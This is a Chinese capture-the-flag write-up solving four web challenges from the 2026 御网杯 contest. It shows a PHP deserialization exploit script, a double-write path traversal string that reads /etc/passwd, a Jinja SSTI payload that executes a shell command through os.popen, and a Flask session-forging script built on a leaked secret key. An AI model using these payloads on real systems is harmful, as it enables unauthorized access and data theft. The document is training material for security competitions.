2026御网杯-web-ak
老实说这次的比赛 web 方向都不是很难
打都打了还是发个 wp 吧
WEB-Snake_Game
这里打开题目,很明显抓包改数据即可
WEB-PHP_Payment
打开题目,是一个购买 flag 系统,这里我们在上方可以得到一个代金卷
但是一开始具体怎么输入去得到正确的回显还是不知道:
这里重点分析 apply_coupon.php:
<?php
session_start();
include '../config.php';
include '../models.php';
header('Content-Type: application/json');
if (!isset($_SESSION['user_id'])) {
die(json_encode(["error" => "Authentication required"]));
}
$couponData = $_POST['coupon'] ?? '';
if ($couponData === '') {
die(json_encode(["error" => "Empty coupon code"]));
}
$decoded = base64_decode($couponData);
if ($decoded === false) {
die(json_encode(["error" => "Invalid coupon format. Must be base64."]));
}
try {
$promo = @unserialize($decoded);
if ($promo === false) {
die(json_encode(["error" => "Failed to apply coupon."]));
}
} catch (Exception $e) {
die(json_encode(["error" => "Coupon parsing error."]));
}
echo json_encode(["success" => true, "message" => "Coupon processed."]);
?>这里后端会先将我们的输入进行 base64 解码,随后再对我们的输入进行反序列化;若都成功,则回显 Coupon processed.
这里我们再看 models.php:
<?php
class PromoManager {
public $promo_credit;
public $promo_code;
public function __construct($code, $credit) {
$this->promo_code = $code;
$this->promo_credit = $credit;
}
function __destruct() {
if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
$_SESSION['balance'] += intval($this->promo_credit);
}
}
}
?>这里当反序列化的对象被摧毁后会执行将我们输入的 promo_credit 添加到 $_SESSION['balance'] 上
这里我们再看 buy.php:
<?php
session_start();
include 'config.php';
header('Content-Type: application/json');
if (!isset($_SESSION['user_id'])) {
die(json_encode(["error" => "Authentication required"]));
}
$item = $_POST['item'] ?? '';
if ($item === '') {
die(json_encode(["error" => "Missing item parameter"]));
}
$items = [
'basic_vip' => 10,
'premium_vip' => 50,
'flag' => 99999
];
if (!array_key_exists($item, $items)) {
die(json_encode(["error" => "Invalid item."]));
}
$price = $items[$item];
if ($_SESSION['balance'] < $price) {
die(json_encode(["error" => "Insufficient funds! You only have " . intval($_SESSION['balance']) . " 金币."]));
}
$_SESSION['balance'] -= $price;
if ($item === 'flag') {
$flag = "flag{da91f6ee9d5cceef4705fd4f8af9e3f3}";
if (file_exists('/var/www/flag.php')) {
include '/var/www/flag.php';
if (isset($FLAG)) $flag = $FLAG;
}
echo json_encode(["success" => true, "message" => "购买 successful! Your Flag is [ " . $flag . " ]", "balance" => $_SESSION['balance']]);
} else {
echo json_encode(["success" => true, "message" => "购买 successful! Enjoy your " . htmlspecialchars($item) . ".", "balance" => $_SESSION['balance']]);
}
?>(这里的 flag 是测试时候用的,真正的还在环境变量里面)
这里很明显,后端是使用我们的 $_SESSION['balance'] 去当作钱进行购买 flag 的一个操作
于是,整条攻击链就都出来了
我们先构造一个 base64 编码过后的的序列化对象传入,后端先进行 base64 解码随后再进行反序列化操作,随后 __destruct() 执行随后将我们的代金卷添加到 $_SESSION['balance'] 上,接下来我们就可以进行购买了
最终脚本:
<?php
include 'models.php';
$obj = new PromoManager("a", 99999);
$serialized = serialize($obj);
$b64 = base64_encode($serialized);
echo "Serialized: " . $serialized . "\n";
echo "Base64: " . $b64 . "\n";
?>WEB-Enterprise-OA
这里题目直接就提示了路径遍历
这里第一次直接尝试双写绕过就成功读取到了
....//....//....//....//....//....///etc/passwd随后 fuzz 一下得到名字叫 flag.txt
WEB-TaxSystem_SSTI
这里题目给了附件,打开后发现在 init.db 中就能发现账号密码还有个 flag 数据库:
cur.execute('INSERT INTO users (username, password, role) VALUES ("admin", "123456", "admin")')
cur.execute('INSERT INTO config_flags (flag) VALUES ("flag{xxxxxxxxxxxxxxxx}")')我们在 app.py 中可以发现直接使用了模板渲染:
if state == 'AUDIT_PENDING':
custom_footer = profile['custom_footer']
blacklist = ['__', '[', ']', '|', '\\', '+', "'", '"', 'request', 'session', 'url_for', 'popen', 'system']
for word in blacklist:
if word in custom_footer:
return "Security Policy Violation: Blocked character or word detected in footer.", 403
template_html = f"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Audit Report</title>
<link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
<style>
body {{ background-color: #f3f4f6; }}
</style>
</head>
<body class="p-10">
<div class="max-w-4xl mx-auto bg-white p-8 border-t-8 border-red-600 shadow-xl rounded">
<div class="flex justify-between items-center mb-6 border-b pb-4">
<h1 class="text-3xl font-bold text-gray-800">OFFICIAL AUDIT REP或T</h1>
<span class="px-4 py-1 bg-red-100 text-red-800 rounded-full font-semibold">CONFIDENTIAL</span>
</div>
<div class="grid grid-cols-2 gap-6 mb-8 text-lg">
<div><span class="font-bold text-gray-600">Tax Year:</span> {profile['year']}</div>
<div><span class="font-bold text-gray-600">状态: </span> <span class="text-red-600 font-bold">AUDIT PENDING</span></div>
<div><span class="font-bold text-gray-600">Declared Income:</span> ${profile['income']}</div>
<div><span class="font-bold text-gray-600">Deductions:</span> ${profile['deductions']}</div>
</div>
<div class="mt-12 pt-6 border-t border-gray-200 text-sm text-gray-500 italic text-center">
{custom_footer}
</div>
</div>
<div class="mt-8 text-center"><a href="/dashboard" class="px-6 py-2 bg-gray-800 text-white rounded hover:bg-gray-700 transition">返回控制台</a></div>
</body>
</html>
"""
try:
return render_template_string(template_html)
except Exception as e:
return str(e), 500这里对我们用户输入进行了一部分的黑名单过滤(但是基本没什么作用),这里的 year 会被直接拼接到 render_template_string 函数中进行渲染
有 flag 存储位置,于是我们直接 ssti 注入即可:
year={{config.__class__.__init__.__globals__['os'].popen('sqlite3 /var/lib/sqlite/tax.db "SELECT flag FROM config_flags"').read()}}这里猜测有第二种做法:
在 app.py 中:
@app.route('/admin/vault')
def admin_vault():
if session.get('role') != 'tax_inspector':
return render_template_string("""
<div style="text-align:center; margin-top:100px; font-family:sans-serif;">
<h1 style="color:red;">Unauthorized Access</h1>
<p>You must be a <b>tax_inspector</b> to access this vault.</p>
<a href="/dashboard">Back</a>
</div>
"""), 403
db = get_db()
flag = db.execute("SELECT flag FROM config_flags LIMIT 1").fetchone()
return render_template('admin.html', flag=flag['flag'] if flag else "No flag found")若是我们有 tax_inspector 的权限,便可通关这个端点进行访问去拿到 flag
这里我们通过 {{config}} 能拿到 SECRET_KEY
随后我们运行脚本伪造 session:
from flask import Flaskfrom flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)app.config['SECRET_KEY'] = 'secret_tax_key_2026_xoxo'si = SecureCookieSessionInterface()serializer = si.get_signing_serializer(app)
forged_session = serializer.dumps({"role": "tax_inspector", "user_id": 1})随后替换 session 去访问 /admim/vault 即可拿到 flag
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!